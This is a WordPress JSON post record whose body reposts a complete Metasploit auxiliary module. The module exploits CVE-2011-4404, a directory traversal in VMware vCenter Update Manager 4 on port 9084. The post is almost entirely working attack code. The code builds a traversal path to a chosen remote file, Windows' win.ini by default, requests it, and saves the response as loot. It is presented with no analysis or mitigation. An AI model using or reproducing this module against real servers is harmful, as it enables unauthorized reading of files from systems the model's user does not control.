{"id":59319,"date":"2024-09-01T01:50:23","date_gmt":"2024-08-31T22:50:23","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180928\/vmware_update_manager_traversal.rb.txt"},"modified":"2024-09-01T01:50:23","modified_gmt":"2024-08-31T22:50:23","slug":"vmware-update-manager-4-directory-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vmware-update-manager-4-directory-traversal\/","title":{"rendered":"VMWare Update Manager 4 Directory Traversal"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize(info={})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8220;VMWare Update Manager 4 Directory Traversal&#8221;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This modules exploits a directory traversal vulnerability in VMWare Update Manager<br \/>on port 9084. Versions affected by this vulnerability: vCenter Update Manager<br \/>4.1 prior to Update 2, vCenter Update Manager 4 Update 4.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Alexey Sintsov&#8217;, #Initial discovery, poc<br \/>&#8216;sinn3r&#8217; #Metasploit<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;CVE&#8217;, &#8216;2011-4404&#8217;],<br \/>[&#8216;EDB&#8217;, &#8216;18138&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.vmware.com\/security\/advisories\/VMSA-2011-0014.html&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;http:\/\/dsecrg.com\/pages\/vul\/show.php?id=342&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2011-11-21&#8217;))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(9084),<br \/>OptString.new(&#8216;URIPATH&#8217;, [true, &#8216;URI path to the downloads&#8217;, &#8216;\/vci\/downloads\/&#8217;]),<br \/>OptString.new(&#8216;FILE&#8217;, [true, &#8216;Define the remote file to download&#8217;, &#8216;windows\\\\win.ini&#8217;])<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<br \/>fname = File.basename(datastore[&#8216;FILE&#8217;])<br \/>traversal = &#8220;.\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\&#8221;<br \/>uri = normalize_uri(datastore[&#8216;URIPATH&#8217;]) + traversal + datastore[&#8216;FILE&#8217;]\n<p>print_status(&#8220;#{rhost}:#{rport} &#8211; Requesting: #{uri}&#8221;)<\/p>\n<p>res = send_request_raw({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; uri<br \/>}, 25)<\/p>\n<p># If there&#8217;s no response, don&#8217;t bother<br \/>if res.nil? or res.body.empty?<br \/>print_error(&#8220;No content retrieved from: #{ip}&#8221;)<br \/>return<br \/>end<\/p>\n<p>if res.code == 404<br \/>print_error(&#8220;#{rhost}:#{rport} &#8211; File not found&#8221;)<br \/>return<br \/>else<br \/>print_good(&#8220;File retrieved from: #{ip}&#8221;)<br \/>p = store_loot(&#8220;vmware.traversal.file&#8221;, &#8220;application\/octet-stream&#8221;, rhost, res.to_s, fname)<br \/>print_good(&#8220;File stored in: #{p}&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initialize(info={})super(update_info(info,&#8216;Name&#8217; =&gt; &#8220;VMWare Update Manager 4 Directory Traversal&#8221;,&#8216;Description&#8217; =&gt; %q{This modules exploits a directory traversal vulnerability in VMWare Update Manageron port 9084. Versions affected by this vulnerability: vCenter Update Manager4.1 prior to Update 2, vCenter Update Manager 4 &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59319","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59319","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59319"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59319\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59319"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59319"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59319"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}